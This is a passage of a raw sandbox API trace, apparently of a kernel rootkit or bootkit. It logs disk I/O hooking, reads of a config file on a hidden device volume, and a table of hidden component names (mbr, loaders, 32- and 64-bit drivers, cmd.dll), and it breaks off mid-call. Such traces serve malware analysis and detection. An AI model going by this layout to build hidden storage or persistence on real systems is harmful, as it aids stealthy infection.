[0124.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.255] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.255] IdePortDispatch () returned 0x103 [0124.255] KeWaitForMutexObject () returned 0x0 [0124.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.256] IdePortDispatch () returned 0x103 [0124.256] KeWaitForMutexObject () returned 0x0 [0124.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.256] KeLeaveCriticalRegion () [0124.256] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.256] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.256] KeEnterCriticalRegion () [0124.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.256] KeLeaveCriticalRegion () [0124.256] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.256] KeEnterCriticalRegion () [0124.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.256] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.256] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.256] KeLeaveCriticalRegion () [0124.256] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.257] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.257] KeEnterCriticalRegion () [0124.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.257] ExFreePoolWithTag (P=0xfffffa8003bf09a0, Tag=0x0) [0124.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.257] KeLeaveCriticalRegion () [0124.257] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.257] ReleaseMutex (hMutex=0xf0) returned 1 [0124.257] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.257] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.257] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.257] KeEnterCriticalRegion () [0124.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.257] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.257] IdePortDispatch () returned 0x103 [0124.257] KeWaitForMutexObject () returned 0x0 [0124.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.257] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.257] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.257] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.257] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.257] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef990 [0124.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.257] KeLeaveCriticalRegion () [0124.257] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.257] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.257] KeEnterCriticalRegion () [0124.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.257] KeLeaveCriticalRegion () [0124.257] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.257] KeEnterCriticalRegion () [0124.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.258] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.258] IdePortDispatch () returned 0x103 [0124.258] KeWaitForMutexObject () returned 0x0 [0124.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.258] KeLeaveCriticalRegion () [0124.258] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.258] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.258] KeEnterCriticalRegion () [0124.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003522000 [0124.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.258] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.258] IdePortDispatch () returned 0x103 [0124.258] KeWaitForMutexObject () returned 0x0 [0124.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.258] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.258] IdePortDispatch () returned 0x103 [0124.260] KeWaitForMutexObject () returned 0x0 [0124.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] KeLeaveCriticalRegion () [0124.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.260] KeEnterCriticalRegion () [0124.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] KeLeaveCriticalRegion () [0124.260] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.260] KeEnterCriticalRegion () [0124.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.260] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] KeLeaveCriticalRegion () [0124.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.260] KeEnterCriticalRegion () [0124.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] ExFreePoolWithTag (P=0xfffffa8003bef990, Tag=0x0) [0124.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.260] KeLeaveCriticalRegion () [0124.261] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.261] ReleaseMutex (hMutex=0xf0) returned 1 [0124.261] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.261] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.261] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.261] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.261] KeEnterCriticalRegion () [0124.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.261] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.261] IdePortDispatch () returned 0x103 [0124.261] KeWaitForMutexObject () returned 0x0 [0124.261] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.261] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.261] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.261] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.261] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.261] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.261] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.261] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.261] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.261] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.261] KeLeaveCriticalRegion () [0124.261] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.261] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.261] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.261] KeEnterCriticalRegion () [0124.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.262] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.262] IdePortDispatch () returned 0x103 [0124.262] KeWaitForMutexObject () returned 0x0 [0124.262] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.262] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.262] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.262] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.262] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.262] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.262] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.262] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.262] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.262] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.262] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.262] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.262] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.262] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.262] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.262] KeLeaveCriticalRegion () [0124.262] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.262] ReleaseMutex (hMutex=0x100) returned 1 [0124.262] Sleep (dwMilliseconds=0x2bf20) [0124.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d442110, dwHighDateTime=0x1d24fa4)) [0124.268] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.268] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.268] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.268] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.269] KeEnterCriticalRegion () [0124.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.269] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.269] IdePortDispatch () returned 0x103 [0124.269] KeWaitForMutexObject () returned 0x0 [0124.269] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.269] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.269] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.269] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.269] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.269] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0700 [0124.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.269] KeLeaveCriticalRegion () [0124.269] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.269] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.269] KeEnterCriticalRegion () [0124.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.269] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.269] KeLeaveCriticalRegion () [0124.269] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.269] KeEnterCriticalRegion () [0124.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.269] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.269] IdePortDispatch () returned 0x103 [0124.269] KeWaitForMutexObject () returned 0x0 [0124.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.270] KeLeaveCriticalRegion () [0124.270] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.270] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.270] KeEnterCriticalRegion () [0124.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003525000 [0124.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.270] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.270] IdePortDispatch () returned 0x103 [0124.270] KeWaitForMutexObject () returned 0x0 [0124.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.270] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.270] IdePortDispatch () returned 0x103 [0124.270] KeWaitForMutexObject () returned 0x0 [0124.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.270] KeLeaveCriticalRegion () [0124.271] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.271] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.271] KeEnterCriticalRegion () [0124.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.271] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.271] KeLeaveCriticalRegion () [0124.271] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.271] KeEnterCriticalRegion () [0124.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.271] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.271] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf07c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.271] KeLeaveCriticalRegion () [0124.271] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.271] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.271] KeEnterCriticalRegion () [0124.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.272] ExFreePoolWithTag (P=0xfffffa8003bf0700, Tag=0x0) [0124.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.272] KeLeaveCriticalRegion () [0124.272] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.272] ReleaseMutex (hMutex=0xf0) returned 1 [0124.272] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.272] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.272] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.272] KeEnterCriticalRegion () [0124.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.272] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.272] IdePortDispatch () returned 0x103 [0124.272] KeWaitForMutexObject () returned 0x0 [0124.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", 